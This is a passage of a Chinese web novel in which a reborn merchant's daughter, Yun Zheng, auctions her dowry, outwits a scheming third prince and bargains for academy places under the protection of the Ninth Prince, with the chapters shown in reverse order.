云筝笑颜如花,“算了,我忽然想到,我可以求九千岁啊。” 户部尚书:……心痛,感觉错失了好多银子! 等户部尚书垂头丧气的离开,云筝才试探的问道,“王爷,可以吗?若我拿到皇商资格,做生意带上明镜司,五五开。” 一边的侍卫们眼睛亮的出奇,快答应她,快! 厉无恙眉眼清冷,“这不合规矩。” 云筝笑的可甜了,“规矩是用来打破的,各位侍卫大哥,你说呢?” “对,非常对。”立秋大着胆子喊了一声,“我们很乐意帮乡主打下手。” 这可是财神爷,跟着她以后吃香的喝辣的,想想就美。 厉无恙横了他一眼,立秋一哆嗦,立马低头。 云筝笑着打圆场,“没事,我就说说,我想要的,总能得到。” 厉无恙沉默半响,忽然说道,“给你的玉玦怎么不戴?是不喜欢吗?” 云筝有些茫然,他可不是关心佩饰的人。“太贵重了,我怕丢了。” 厉无恙神色莫名,“丢了,明镜司会帮你找回来。” 云筝忽然心领神会,眼睛刷的亮了,懂了! 不能明着来,那就暗着来,到时她就佩戴那块玉玦参加皇商竞拍资格,看谁不给面子! 嗯,没有开后门,一切都是合规合法的! 她亲自将人送到门口,恭恭敬敬将人送上马车,转身走向另一个包厢。 门开了,里面坐着云家夫妻和鬼医祖孙俩。 云家夫妻一脸骄傲的拉着女儿的手夸赞,她已经青出蓝而胜于蓝,真好。 安康眼睛闪闪发亮的看着云筝,“姐姐,你好厉害,好有本事,我也想成为你这样的人。” 人性是慕强的,小孩子也是。 云筝对他早有安排,“你先好好读书,白鹭书院的名额给你一个。” 安康还不懂这意味着什么,但鬼医知道啊,这是一条金灿灿的康庄大道,是他争抢一生都得不到的东西。 他知道,白鹭书院的名额有多难,对一般学子来说,难如登天。 他激动坏了,“主子,这当真?” 云筝微微颌首,“自然是真的,我希望安康好好读书,考科举进入朝堂,当一个好官。” 安康并不想学医,但也没想过要当官,“我行吗?” 云筝摸摸他的脑袋,“别人行,你是我表弟,为什么不行?你将拥有最好的启蒙老师,进入最好的书院,结识一批最厉害的学子。” 这每一步都是云家在背后铺路。 鬼医激动的热泪盈眶,“多谢主子栽培,不管将来康儿能走到哪一步,都不会忘了主子的大恩。” 列朝列代把巫医乐师百工皆列为贱业,为君子不齿。别看鬼医挺风光,其实,大夫社会地位很低。 不过,大齐开国皇帝曾经病重涉死,被神医救治好的,神医要了一道恩旨,特许医者可以参加科举,给了后代跨越阶层的机会。 云筝微微笑道,“我只希望,他莫忘初心。” 鬼医大恩不言谢,直接掏出几个白瓷玉瓶。 “时间仓促只有这几样,等药材齐了,我把解毒丸搞出来。” 云筝拿起玉瓶查看,每一个瓶上都写着名字和用法,金疮药,止血药粉等。 还有几味毒药,她小心翼翼的收起来。 云筝抬头刚想跟父母说话,就看到父亲眉眼间的忧愁,担心的问道,“父亲,您有心事?” 云父本来想瞒着,但想到女儿的处境,咬了咬牙,“江南总督写信问罪于我,还威胁要封了我们江南的产业。” 云筝怒火蹭的上来了,“我们云家被他们夫妻联手算计,他还敢写信威胁?” 江南总督钱维,是江南的一把手,而他相差三十岁的小娇妻江淑蓉,正是平西侯江振的庶妹,江闻舟的姑姑! 也是白家悲剧的重要推手和帮凶! 第49章 我要和离 云筝的胳膊用力一挣,朝后退了几步,满眼的防备。 三皇子这才意识到自己冒失了,拱了拱手致歉,“是我失礼了,还请锦云乡主莫怪罪, 不如,你先提个要求?” 他故作矜贵的模样实在烦人,云筝笑眯眯的点头,“好啊。” “我要和离!” 三皇子的笑脸僵住了,“这……这恐怕不行,但我能让你当平西侯世子夫人。” 和离是大逆不道,还会得罪一批勋贵,更会失了父皇的欢心,划不来。 云筝早就料到了,皇家子孙天生会权衡利弊。“我只要和离。” 三皇子眉头一皱,这商贾之女没有见识,鼠目寸光。 “平西侯府是百年勋贵,富贵荣华皆有,若和离后,你就成了一个弃妇,到时这世间的舆论和闲言碎语,会逼死你的,听劝。” 他说的好像都是为云筝好,但,事实嘛,只有他心里最清楚。 云筝摆了摆手,神色淡淡的,“明白了,你是办不到。” 三皇子噎住了,冷冷的看着她。 云筝视若无睹,冲厉无恙行了一礼后,默默退出。 三皇子气不打一处来,大声告状,“九皇叔,您看她什么态度?狗咬吕洞宾,不识好人心,您得帮我罚她。” 打狗还要看主人,若他出手,九皇叔一定会恼的。 厉无恙坐在窗边,视线落在高台上,眉眼冷峻,“这世上不只有你一个聪明人,你不过是占了身份的便宜。” 在他看来,三皇子的心眼子还没有云筝多呢。 三皇子的脸绿了。 云筝走到高台前,几位老先生还凑在字帖前,看的目不转睛。 “云筝见过各位先生。” 几人的注意力被拉了回来,青云书院的顾院长颌首致意,“锦云乡主,这卖吗?” 云筝不假思索的摇头,“不卖。” 就在大家失望之际,云筝微微一笑,“只送。” 顾院长深深的看着她,“你想要什么?” 在这些人精面前,云筝没有绕圈子,落落大方的开口。 “我从小就爱读书,对各位大儒很是仰慕,也拜读过各位的大作,希望能有机会带着家中表弟近距离聆听教诲。” 这话说的隐晦,但在场的都是绝顶聪明人,都听懂了。 众人面面相觑,她是女子! 帝师忽然开口道,“致天下之民,聚天下自货,交易而退,各得其所义出自哪里?” 云筝眼睛也不眨一眼,脱口而出,“出自《易经·系辞》,市,人,货,各得其所,这就是交易。交易的过程是舍得,得而后舍,舍而后得,周而复始,永不停息。”注(1) 帝师面色稍霁,“中立而不倚强哉矫义出自哪里?” 云筝虽是女子,但云父把她当成男儿培养,请了好几位老师,不光教她四书五经,还教礼、乐、射、御、书、数这六艺。 她从小就痴迷史书,翻遍了所有朝代的史书。所以,她的学识并不弱于任何男子。 “出自《中庸》 ,品德高尚的人和顺而不随波逐流,这才是真强。保持中立而不偏不倚……”注(2) 文人们眼中多了一丝暖色,她是读过书的,不是为了讨好他们瞎说一气。 顾院长迟疑了一下,“入学名额可以给你一个,但不收女子。” 云筝抿了抿嘴,似乎很为难的样子。 程大儒忽然说道,“我可以给你两个白鹭书院的入学名额。” 他是白鹭书院的院长,两家书院齐名,青云学院更官方,皇子也在读过,官家子弟更是挤破脑袋要进。 而白鹭书院更民间,无数寒门子弟向往的知识殿堂。 这两所书院收学生非常严苛,每年只有几个名额,当然,凡事都有例外。 顾院长不乐意了,“程兄,这就过分了。”怎么能哄抬价格呢? 云筝笑眯眯的举起三根手指,“十年内三个名额。” 程大儒知道这丫头聪明,但没想到这么机灵,“行,只限男子。” 云筝二话不说,就将字帖双手呈给程大儒,“您的字帖。” 程大儒喜不自胜,朗声大笑,笑声响彻全场。 “顾兄,承让承让。” 拍卖会结束,每位宾客都有一份伴手礼,是四样点心,桃花酥,绿豆核桃糕,蜜仁糕,豌豆黄,四个颜色摆在一起,精致的像艺术品。 大家乘兴而来,尽兴而归,只有三皇子灰溜溜的离开。 临走时,他回头深深的看了云筝一眼,眼神阴沉的可怕。 包厢内,云筝目光三皇子离开,嘴角噙着一抹微凉的弧度。 狗东西,他们还会再见的! 厉无恙坐在轮椅上,漫不经心把玩着玉扳指,“三皇子心胸狭窄,小心点。” 云筝扭过头,满脸的好奇,“他是你的亲侄子,您怎么不护着他?” 厉无恙怔了怔,“本王的侄子有十几个,多了就不值钱。” 云筝忍俊不禁,行吧,最无情帝王家。 厉无恙拿起一块桃花酥尝了尝,甜而不腻,“你从一开始就没打算求学?” 室内只有他们两人,云筝也就敞开了说,“我这年纪了还求什么学?我对做生意更感兴趣。” 谈判时,先提一个特别过分的要求,谈着谈着,大家折中各退一步,那其实就是她想要的结果。 她先提了自己想求学,人家肯定不收啊,那退一步,给她个名额,这才是她的目的。 厉无恙一眼就挑破她隐晦的心思,“你想培养自己的势力!” 这是肯定的语气,而不是询问。 云筝也拿起点心吃起来,“之前,因为云家没有男丁,顾忌太多,所以行事有些保守。” 女子经商有太多的制约,男人谈生意一起上青楼喝顿酒就将事情谈成了,女子谈生意……人家根本不会把你当成正经女人。 这就是恶劣的大环境,一直以来,她更多的是隐在幕后。 “如今,我想明白了,朝中得有自己的人。” 厉无恙扬了扬眉,意味深长的问道,“就不怕被反噬吗?” 云筝敢做,就做好万全的准备。 “只要是以云家名义送去书院的,一开始就打上了云家的标记,是天然的同盟,若他日背叛,很难容于世。” “而且,我信奉,只有共同的利益才能长长久久。” 不得不说,她考虑的很长远。 脚步声在外面响起,越来越近,两人不约而同的噤声。 “王爷,乡主,特大喜讯!好消息!”户部尚书兴奋到癫狂的声音响起。 第48章 戏耍三皇子 三皇子呆了呆,指了指那些奇珍异宝,“这不是送我的吗?” 云筝眨巴着着眼睛,奇怪的反问,“我什么时候说过?” 现场一静,户部尚书和一众人看天看地,就是不看三皇子,好尴尬,想抠脚! 三皇子回想了一下,她确实没说,一个字都没说。是他误会了? 他忍不住迁怒,“那你为什么撤下来?” 云筝整理着名册,将对上的名单划掉,“哦,已经超额了,我打算自留一半,一半嘛……“ 三皇子的心又活了起来。给他一半?也不是不行,但,他不会记恩了。 敢让他难堪,哪怕,她是无意的,不罚就不错了。 “听说江闻舟失了世子之位很沮丧,我可以帮他复位,就当是回报吧。” 她一个女人生来就是为家族牺牲的,如今嫁了人,有好处自然是推恩给她的夫君。 助江闻舟恢复世子之位,让他们夫妻和睦,而他也能借机收下平西侯府这个助力,一举两得。 云筝在心里暗骂娘,好不容易才把江闻舟搞下去的,这是报恩吗?是报仇! “皇上金口玉言,圣旨一下,绝无更改的可能,三皇子,您啊,别哄骗我了。” 她一副全然不信的模样,她是商户嘛,不懂,啥都不懂。 三皇子被人捧习惯了,哪受得了别人反驳,当场就火了。 “父皇最疼爱我,只要我想做的事,一定会让我如愿的,谁让我母亲是他最爱的女人呢。” 这是炫耀他们母子的得宠,平时他不炫,但云筝实在太气人。 厉无恙默了默,不忍直视他犯蠢。 云筝一副好奇宝宝的模样,“要是你作奸犯科,你父皇也会力保你?” 三皇子的话到了嘴边,打了个转,及时反应过来,将话咽了回去。 他脸色一沉,“锦云乡主,你越矩了。” “你放心,不会让你白白付出的。” 他们皇族与生俱来的傲慢,全天下任由他们予取予求,全然没将底下的人放在眼里。 云筝看不上他这作派,既要又要,又装的厉害。 “我有什么不放心的?因为,我一点都不想付出。” 三皇子脸色大变,她敢耍他玩?! 云筝将珍宝分成两部分,指着右手边的东西,笑吟吟的开口,“九千岁,这些东西送您,能保我一世平安吗?” 户部尚书猛的扭头,看看云筝,又看看九千岁,这是公然找靠山? 不得不说,云筝是个极聪明的人,这是眼下最好的选择。 怀璧其罪,这些庞大的嫁妆谁不眼红?云家太有钱了,不乏有人动了坏心思。 一个乡主的爵位根本挡不住那些豺狼虎豹,选在这个时候抱大腿,是聪明之举。 厉无恙深深的看了云筝一眼,花样真多,暗里一套,明里又一套。 “能。” 言简意赅,干脆利落,云筝脸上露出一丝浅笑。 论身份,论地位,论宠爱,论权势,九千岁都能碾压三皇子。 要抱,就抱最厉害的大腿。 三皇子的表情一寸寸的龟裂,他一个堂堂皇子就在她眼前,她居然看不上? “其实,本皇子也能保你一世平安。” 云筝拼命拉踩,“你没有王爷厉害,没有王爷真诚,没有王爷踏实可靠,也没有王爷护短。” 她只差明说,你不靠谱啊。 厉无恙眉眼染上一丝笑,有眼光。 三皇子气的差点吐血,可恶。 他还不知道,自己背了一个大黑锅,参加拍卖的宾客们都觉得他既贪婪,又吃相难看。 下半场拍卖开始了,这次是由云家名下书斋的掌柜主持,是个浸染此行多年的行家,极有眼色。 就算少了二十八件珍品,依旧卖的风生水起。 暗标最有意思的是,没人知道最终价格是多少。 如果不想让外人知道你拍到了手,也可以瞒的严实,只用某个代号代替。 那些包厢内的贵客尽管放心大胆的竞拍。 一时之间,有人欢喜有人忧。 最后一件压轴拍品拍完,就当所有人以为结束时。 掌柜神秘兮兮的捧着一个狭长的匣子上台,“各位,我们云家之前淘到了一件宝贝,请大家鉴赏。” “是王曦之的《乐毅论》。” 现场一片哗然,王曦之的行书《兰亭序》最有名,为无数文人雅客追捧,而他的《乐毅论》是楷书,也堪称经典。 掌柜笑吟吟的拱了拱手,“众所周知,王曦之的《黄庭经》和《乐毅论》合称为小楷双璧,《黄庭经》流传下来了,但《乐毅论》已经失传很久。” “我们云家无意中得到此物,不敢断定是真迹,所以,特意拿出来请所有人鉴赏,不知哪位想上来?” 二楼一间安静包厢的门猛的被推开,几个白发苍苍的老头被扶着走出来,眼睛却亮的出奇。“我我我。” “我来,我来。” 众人一惊,这是前帝师江大儒吗? 这不是青云书院的院长,顾大儒吗? 这是一代书画双绝的程大儒吗? 哎哟喂,都是文坛举足轻重的人物,没想到他们都来了!这可谓是一大盛事。 一群人急匆匆走上台,几位大儒眼巴巴的盯着字帖,眼睛都舍不得眨。 “意蕴纵横捭阖,刚柔兼备,这字迹像!” “这是修复过了,有点可惜。” “《乐毅论》当年流落到某朝公主手里,被公主的奴婢偷走后,就失传了,估计是在这过程中残缺了。” 一名权贵忍不住问道,“各位,这是像?还是真迹?” 青云书院的院长看向一个威严的老者,“帝师,您来看看。” 前帝师江大儒地位最尊贵,他是三位帝王的老师,当今圣上也是他的学生。 他一双老眼冒着精光,面色潮红,激动不已。“字迹朴实,笔力雄浑,这是书圣的真迹。” “太好了,《乐毅论》重现世间了!” 这话一出,大家都激动坏了,跃跃欲试,这是无价之宝,想要! “敢问,这字帖卖吗?” “这要问我家主子,请稍等片刻。” 云筝站在包厢窗边,嘴角轻轻扬起,一切都尽在她掌控中。 厉无恙淡淡瞥了她一眼,果然,她不肯吃半点亏,借着拍卖会整了这么一出。 就是不知道,她想玩什么花样。 三皇子猛的扑过来,一把拉住云筝的胳膊,神情激动万分,“乡主,把《乐毅论》送我,我答应你一个要求,什么都可以!” 他不惜一切代价拿下这幅字帖! 相信,识时务的人都不会拒绝一个皇子的人情,一个商贾之女更拒绝不了! 云筝嘴角一扬,说出了一个炸裂的条件…… 第47章 不服就干! 厉无恙不动声色的看过来,她忽然情绪不对劲,这是怎么了? 云筝全然不知,微微垂眸,掩去眼中复杂的情绪。 三皇子恭恭敬敬的行礼,“侄儿见过九皇叔,九皇叔金安。” 厉无恙微微颔首。 户部尚书起身行礼,云筝自然也没办法坐了,也跟着默默行礼,脑袋低垂,全程不开口。 三皇子很客气的扶起户部尚书,“尚书大人,这次的拍卖会很成功,您功不可没,父皇若知道了,一定会夸您的。” “当然,最大的功臣是九皇叔,您干什么都是最出色的,只要您出马,再难的事情也会拿下,侄儿要跟你好好学习。” 他笑容温煦,温文尔雅,极有亲和力。 朝臣们对他的评价很高,夸他是最礼贤下士的皇子。 他将椅子拉到厉无恙身边,离的很近,讨好的笑道,“九皇叔,您最近怎么不进宫?” 厉无恙的态度不冷不热,“有事?” 他生性冷淡,对谁都淡淡的,包括皇上和太后,所以,三皇子也习惯了热脸贴冷屁股。 “就是想见见您,跟您说说话,九皇叔,我真的好想您啊。” 老大不小了,当众撒娇,脸都不红一下,厉害! 云筝冷眼旁观,是他,没错,前世那个跑来平西侯府行骗的男人,居然是三皇子。 前世,装什么落魄远房亲戚,被侯府无尽搓磨,一副愤世嫉俗的模样。 当时被困在后院的她,以为是同为天涯沦落人,对他颇为相信。 呵呵,把她骗的好苦啊。 明知她对自由疯狂渴望,却生生毁了她往外逃的唯一机会,狗东西,去死! 三皇子态度殷勤无比,极力讨好,但厉无恙喝着茶,偶尔回上一句,全看他的心情。 “九皇叔,听父皇说,皇后娘娘要为您选王妃,您可有心仪的女子?” 现场气氛一变,户部尚书偷偷瞟了一眼,这位煞星也要娶亲生子了?无法想象。 厉无恙眉眼染上一丝不耐烦,“有事说事,我很忙。” 三皇子深知他的性格,不敢多绕圈子,“九皇叔,侄儿看上了八大山人的《花鸟图》,想求您帮忙。” 这幅画已经列入下半场拍卖清单中,他一眼就看中了,但苦于囊中羞涩。 厉无恙一双深潭似的黑眸看着三皇子,三皇子被看的心慌,额头渗出密密麻麻的汗珠。 厉无恙这才扬了扬下巴,“你自己问《花鸟图》的主人,锦云乡主。” 顺着他的视线,三皇子这才看到角落里的云筝,愣了愣,眼中闪过一丝惊艳。 他上前一步,客气的拱了拱手,“锦云乡主,这幅《花鸟图》对我很重要,还请割爱。” 说是请求,更像是居高临下的施舍。 像他们这些皇室贵胄,千娇百宠的长大,不用他开口,世上最好的东西就被送到他面前。 每年会收到无数礼物,身份差的还没有资格走到他面前。 他看中什么,对方都会欣喜若狂的双手奉上。 云筝眼中闪过一丝戾气,都说皇族中人最是薄情寡义,算是领教了。 她很快控制住情绪,笑意盈盈的问,“三皇子,您出多少银子?” 三皇子不敢置信自己的耳朵,“呃?” 云筝浓密的睫毛低垂,奇怪的反问,“难道想白拿?不是吧?” 三皇子的脸挂不住,“当然不是,就是……我还没有开府,所以……若乡主愿意割爱,必会厚报。” 就算贵为帝王也缺钱花,更不要说皇子了。 他是贵妃所出,是最受宠的皇子,但贵妃出身书香门第,娘家没办法供他们母子奢侈生活。 云筝之所以请厉无恙坐镇,就是怕这些权贵仗势欺人,想白拿。 “七万。” 今生,若让他占到一文钱的便宜,算她输。 三皇子脸色微变,“什么?七万?” 云筝一脸的不好意思, “三皇子是嫌我给打了折,侮辱了您高贵的人格吗?实在抱歉,那就十万。” 市场价是十万,但有一个溢价。 三皇子脸色涨的通红,不知是气的,还是恼的,这商贾之女太市侩,不懂规矩,他能看上她的面,是她的荣幸。 云筝何等聪明冰雪的人,已经探出三皇子此时的想法,也猜到了三皇子前世接近她的真实意图。 她心中极恨,但,面上丝毫不露,“三皇子,你的脸好红啊,这是喝多了?” 厉无恙狭长的眼眸微闪,“来人,送一碗醒酒汤过来。” “是。” 三皇子心里憋屈,心里苦,但得捏着鼻子喝下醒酒汤,还得谢九皇叔的关爱。 云筝脑海里闪过一个疯狂念头,既然他主动送上门了,那就先收回一点利息! “来人,把蜀锦百鸟朝凤的屏风,赤金累丝金冠,沉香木佛像,南海红珊瑚盆景,繁花锦绣宝石盆景,八大山人的《花鸟图》,韩滉的的《五牛图》……这些全部移出拍卖清单,不卖了。” 一共二十八件,全是难得一见的传世精品,特意放在下半场。 “是。” 三皇子的眼睛刷的亮了,她这是反应过来了?知道要讨好他了?算她识相。 云筝嘴角噙着一抹淡淡的笑,厉无恙见状,挑了挑眉,这是打算坑谁? 宾客们听到这一消息,炸开了锅。 “怎么不拍卖了?我对繁花锦绣宝石盆景志在必得。” “我想要买下沉香木佛像,给家里的老祖宗贺寿,你们怎么能出尔反尔?” 侍卫一脸的无奈,“抱歉,这也是没办法,我们也不想的。” “到底怎么回事?” 侍卫压低声音,神秘兮兮的爆料,“三皇子去过包厢了。” 大家沉默了,三皇子非嫡非长,但深受皇上的宠爱,是下一任帝王的热门人选。 “罢了,再挑挑别的。”没必要为了一件东西,得罪皇子,就是这三皇子太贪了。 包厢,敲门声响起,“锦云乡主,东西都拿过来了。” “进来吧。” 宝贝送进来,云筝一件件的查看,每一样宝贝都是价值连城。 三皇子兴奋的满面通红,两眼放光,这些东西不管是充场面,还是送人,都很体面。 “多谢锦云乡主,你这般慷慨大方,本皇子记住你了。” 云筝抬起头,一脸的懵逼,“啥?我不懂您的意思。” 内心却汹涌澎湃,打脸即将开启!干! 第46章 抢钱小能手,服不服? “631.56万两。”云筝没有卖关子,而是报了数字,精确到一厘。 户部尚书惊呆了,六百万两?已经超了五百万的定额。 可,这刚刚开始,还有下半场,五日后还有一场。 “怎么会这么多?你确定没算错?” 云筝拿起茶杯喝了一口,挣钱对她来说,一点都不难。 “这是基本技能,我五岁起就会打算盘,心算更是信手拈来,不信的话,可以让人验证一下。” 户部尚书还是不信,召来两名算盘高手。 “你俩把这数据算出来,动作快点。” 两柱香后,一名算盘高手率先报出结果,“631.56万两。” 另一个高手晚了点,但,得出的结果一模一样。 户部尚书看云筝的眼神都不一样了,她太厉害了。 就凭超强心算这一手,就能来户部当一个郎中。 再加上,她逆天的拍卖能力和控场能力,如果是男子完全可以在朝中谋一个职位。 可惜,她是女子!女子不能为官! “锦云乡主,接下来还拍卖吗?” 云筝不假思索的颌首,“拍。” 其实,有些是为了迎合平西侯府喜好添置的嫁妆,她想全换了。 给平西侯府每一个人准备的礼物,也全部拍卖掉,难道留着添堵吗? 她保留了自己最喜欢的一批精品,借机从侯府搬出来,免得那些不要脸的人又来强抢。 只有千日做贼,哪有千日防贼的。 “下半场不管拍出多少,都捐给六部九卿,明镜司的兄弟帮我颇多,户部兄弟也辛苦了,两家多占一成。” 明镜司负责防守,看管嫁妆,户部负责整个流程,安排场地,装饰,接待客人等活动。 “九千岁,您觉得这合适吗?” 户部尚书浑身一震,还有这样的好事?他抢先了一步,“合适,乡主大气!” 如果拍出五百万两,分成十七份,那每个部门能分到30w左右,是五年的俸禄。 他虽然不靠俸禄活着,但底层的官吏指着俸禄养家。 厉无恙看了他一眼,他知不知道自己此时的表情?笑成啥样了?还是那个严肃的户部尚书? “给皇上私库留出两份,宗室一份。” 云筝知道皇上小气,但,有些话不能主动提,睿亲王是皇室中人,他能提。 “是。” 这话一出,四周的侍卫都露出笑容,看她的眼神别提有多温和了,财神娘娘啊。 户部尚书高兴之余,心中有一丝异样,她忽然到处撒钱,图什么?图好名声?她可不在乎。 “那,五日后的拍卖?” 云筝眼珠滴溜溜的转,“尚书大人,给我们云家卖货,如何?” 户部尚书:……破案了! 她是打着官府的名义召集各地的大商贾聚集京城,堂而皇之的借着这茶楼做大生意。 所以,她给出去的是保护费,堵所有人的嘴。 哪个部门主官能拒绝?若是拒绝,会被底下恨死的。 所谓,拿人手短,吃人嘴软。 以后她只要不过份的事,各部门都会抬一抬手。 她这爵位是归宗人府管的,打点了宗室,自然会给她几分薄面,可谓是一举数得。 她的脑袋到底是怎么长的,聪明的不像话。 他看向一边的睿亲王,请他示下。 睿亲王神色平静,喜怒不形于色,“可。” 其实,他早就知道云筝这几日忙的团团转,不光忙着拍卖会的事,还频频约云家商号掌柜密谈,在频繁调货中。 就是说,她走一步看十步,早早就筹谋了这一切。 而且,她,是不肯吃半点亏的人!她每一份付出,将来都要收回来的! 云筝眉眼弯弯,很是高兴,一切尽在她掌控中。 她要借机汇合全天下的资源,为云家铺路,首先,第一步,拿下皇商吧。 楼下,宾客们都不差钱,在这种场合谁都不愿意落了下风,点了最高档的茶点。 除了茶点,还有卤味套餐,水果套餐,零食套餐等,应有尽有。 隔壁桌点了卤味套餐,那我也不能落后,点一个水果套餐吧。 还别说,这水果很新鲜,味道又正,一打听是出自皇庄,包装的像艺术品,卖个天价也很合理。 大家吃吃喝喝,聊聊天。 “这暗标的玩法很有意思,一切都不可控,太刺激了。” “我看上了那块千年清香木,你们都别跟我抢。” “那不行,各凭本事。” 中午时分,大家的肚子饿了,侍卫们又一次送上菜单。 威武将军的目光一凝,“咦,金箔套餐?黄金做的?还能镇心安神,美容解毒?没见过,我要尝尝!” “也给我一份。” “我也要。” 虽然一个套餐要五百两,但,能收获别人羡慕的目光,心里别提有多爽。 套餐送上来,一个个摆盘精致的像艺术品,气氛围极强,洒上熠熠生辉的金箔,满满的逼格。 “味道如何?” 威武将军听着隔壁的惊叹声,腰杆挺的更直了,“从未吃过这么好吃的食物,洒上金泊就是不一样。” 一道菜硬是吃出了帝王般的待遇,值! 在场的人就没有一个差钱的,你来一份,我也来一份。 包厢,户部尚书看着眼前的饭菜,满眼的错愕,“这看着不错,但,要五百两?” 五百两能叫上一桌上好的席面,山珍海味都有。 可,眼前的就四道菜两道点心,而且份量很少。 云筝微微一笑,“姜太公钓鱼,愿者上钩。” 金箔是个噱头,但他们吃的是菜吗?不,是逼格,是他们的虚荣心! 云筝尝了尝菜,不愧是御厨,手艺就是好,每一道都是他们的拿手菜。 也只有九千岁,才能将这些御厨弄到茶楼,一起献艺。 “卖出去多少份了?” “四百二十一份。” 户部尚书大为震惊,“弄错了吧,今日参加的宾客是一百人。” 云筝淡淡的道,“都给家里人订的。” 宫中奢侈无度,国库没钱,也不妨碍君王享乐。 上行下效,权贵们也是荒唐奢靡,攀比成风,纸醉金迷,不要最好的,只要最贵的。 户部尚书在心里算了算,21万两?他倒抽一口冷气,这是抢钱啊。 他刚想说什么,外面传来通禀声,“三皇子求见。” “进。” 年轻英俊的男人走进来,一身锦袍衬的他丰神如玉,尊贵非凡。 云筝看到他的瞬间,猛的瞪大眼睛,手微微颤抖,是他!他居然是三皇子?! 第45章 她的高光时刻 今日来的都是有头有脸的人物,四品以上的官员和勋贵,还有皇亲国戚。 工部侍郎好奇的问道,“听说,是拍卖云家大小姐的嫁妆?” 礼部侍郎呵呵一笑,“对,据说都是难得一见的精品,我家淑儿的年纪也不小了,该置办嫁妆了,我得好好挑一挑。” 工部侍郎为人最古板,嫌云筝太桀骜不驯,“她跟平西侯府闹成那样,你就不嫌晦气吗?” 吏部侍郎淡淡的道,“闹归闹,她又没吃亏,上交一半嫁妆,换一个爵位,值。” 云筝的口碑不是很好,男人都喜欢温顺乖巧,将他们视为天神的女子,而云筝每一件事都踩在他们的雷点。 不尊重夫家,对夫君没有半点尊重,谁敢要这样的儿媳妇? 就算兼祧两房,忍一忍就过去了,你一个商贾之女能跨越阶层,嫁进侯府,不就是因为有钱吗? 高嫁了,就偷着乐吧,怎么敢大闹特闹? 礼部侍郎压低声音,好奇的问道,“皇上这次怎么破例了?” 皇上对封赏爵位向来苛刻,除了宗亲和立下战功的人,才能得到封赏。 云筝是第一个异姓,不是宗亲,又不是靠战功得到爵位的女子。 “我知道,是这样的……” 说的人眉飞色舞,听的人津津有味,原来如此。 正说着话,明镜司的侍卫开始派发名册。 “各位,这是拍卖名册,若有喜欢的,请提前锁定。” 这是一本画册,每一样拍卖物件都画出来了,栩栩如生,每一桌一份。 大家兴致盎然,“这个好,一目了然。” 时间到了,清脆的锣鼓声响起。 大家的目光齐刷刷的看向中间的高台。 一个红衣女子走到中间的高台上,云锦织金披风猎猎,头戴五尾金丝凤钗,衬的她越发明艳大气。 “各位宾客,我是此次拍卖会的负责人,锦云乡主,云筝。 ” 她落落大方,坦然自若,好像天生就是站在高台上的,全无半点畏缩和拘谨。 台下一片哗然,“咦,怎么是她?她一个女子怎么能主持拍卖会?谁允许的?没规矩。” “九千岁。” 这话一出,大家都沉默了。 云筝早知会引发纷争,但还是选择这么做。 一个人没价值时,随时会被抛弃,而有价值时,四周都是友好的。 死过一回,名声,世俗的目光,都无法再束缚她。 不服,就干! “此次拍卖会采用两种形式,1-100件,是采用公开竞投形式,这一块我会负责,101—200件,采用暗标的形式……” 她直接进入正题,口齿伶俐,沉稳大气。 台下一个老头猛的站起来,“等一下,我有异议,户部没人了吗?让一个女子抛头露面?” 是于御史,向来以清正不阿著称,口碑很不错,就是极度看不起女子,偏偏生了四个女儿,每次都以无后为由,纳了不少妾。 云筝神色淡淡的,“是九千岁选的我,要不,我帮你问问。” “九千岁。” 最上面的包厢窗子拉开,一个孤傲的身影出现在众人面前。 “本王做事,需要理由吗?”冷冰冰的声音,都透着一股寒气。 于御史打了个冷战,“王爷,牝鸡之晨,惟家之索,还请王爷三思。” 厉无恙很不耐烦,“轰走!” 于御史气的不行,跟他说不通道理。 厉无恙淡淡看了云筝一眼,云筝会意的一拍手,“开始。” 侍卫送上一套拍器,放在精致的首饰匣子里。 “第一件拍品,一整套十二支珠钗,和田白玉镂空金钗,青玉雕凤钗,南海珍珠钗……” 各种材质,每一支流光溢彩,让人移不开眼。 “起拍价,三千两,每次加价一百两。” 众人一听,顿时热血沸腾,便宜,这可比市面上便宜多了。 一名坐在包厢不露面的女子开价,“三千二百两。” 立马有人跟上,“四千两。” 云筝很会烘托气氛,“每支都是名家工艺, 错过这次,就没有下次了,机会难得,给自家贵女添妆,给儿子当聘礼,都是极体面的。” 气氛越来越激烈,争到后面,都上头了,个个像打了鸡血般亢奋。 价格越叫越高,最后定格在两万两,是由清河崔家的公子喊的。 清河崔家,是流传千年的世家,谁都不清楚他们有多少家底。 “崔公子出手大方,不愧是清河崔家出身,不同凡响,啊,王家和谢家人呢?你们确定不跟吗?” 被点了名,,这两家人能不跟吗? 都是千年世家,谁比谁差?又不是没钱! “我跟!” 三家争的头破血流,都不肯认輸,争的不是首饰,而是家族的脸面。 最后,第一件拍品卖出六万的天价。 “谢谢崔公子慷慨解囊,王家和谢家也不必沮丧,接下来的拍品会更精彩。” 凭云筝高超的口才和利用众人的攀比心理,以及强大的控场能力,愣是将拍品卖出天价,也让抢到的人家得意志满,好像打了胜仗。 包厢内,户部尚书看的目瞪口呆,争抢成这样,钱不是钱吗?还能这么玩?刺激。 “这位锦云乡主是顶尖的经商高手,极有手段。” 在他看来,第一套珠钗虽好,但,就算溢价也顶多值个二万两,她却翻了几倍。 “您慧眼识珠,她确实是最适合的人选。” 厉无恙眼眸深邃,嘴角微微勾起。 她在台上闪闪发光,游刃有余,似乎天生适合这样的场合。 中场休息,云筝退场回到包厢,神采飞扬,不见一丝疲色,“这半场挣了多少银子?” 户部尚书的眼神很复杂,以往能卖出三折的价格就不错了,可这次,都翻几倍。 “还没有清算,要到晚上才出结果。” 上缴国库的金额,定为五百万两,按这个趋势,是没有问题的。 五日后还有一场拍卖,面向全国的富商,最有钱的盐商也纷纷赶来京城。 云筝眼珠一转,狡黠如狐,“不必,我已经靠心算,算出来了。” “多少?”户部尚书故作矜持,但在听到云筝报的数字后,瞳孔剧震…… 啥?他一定是听错了!这不可能! 第44章 虐绿茶女 皇后派来的宫人捧着托盘鱼贯而入,宫人盈盈一福。 “锦云乡主金安,这是皇后赐下的贺礼。” 龙凤呈祥玉佩一对,赤金累丝镯一对,攒珠黄金璎珞圈一对,白玉鸳鸯扣一对,云锦织金披风一件,五尾金丝凤钗一支。 这皆是贡品,每一样都精美绝伦。 云筝轻抚色彩斑斓的披风,灿若云彩,镶嵌着名贵的宝石,太奢华了。 宫人的态度很和善,“此次也是特意过来帮您量身制衣,朝贺的大礼服和参加庆典的吉服。” “多谢。” 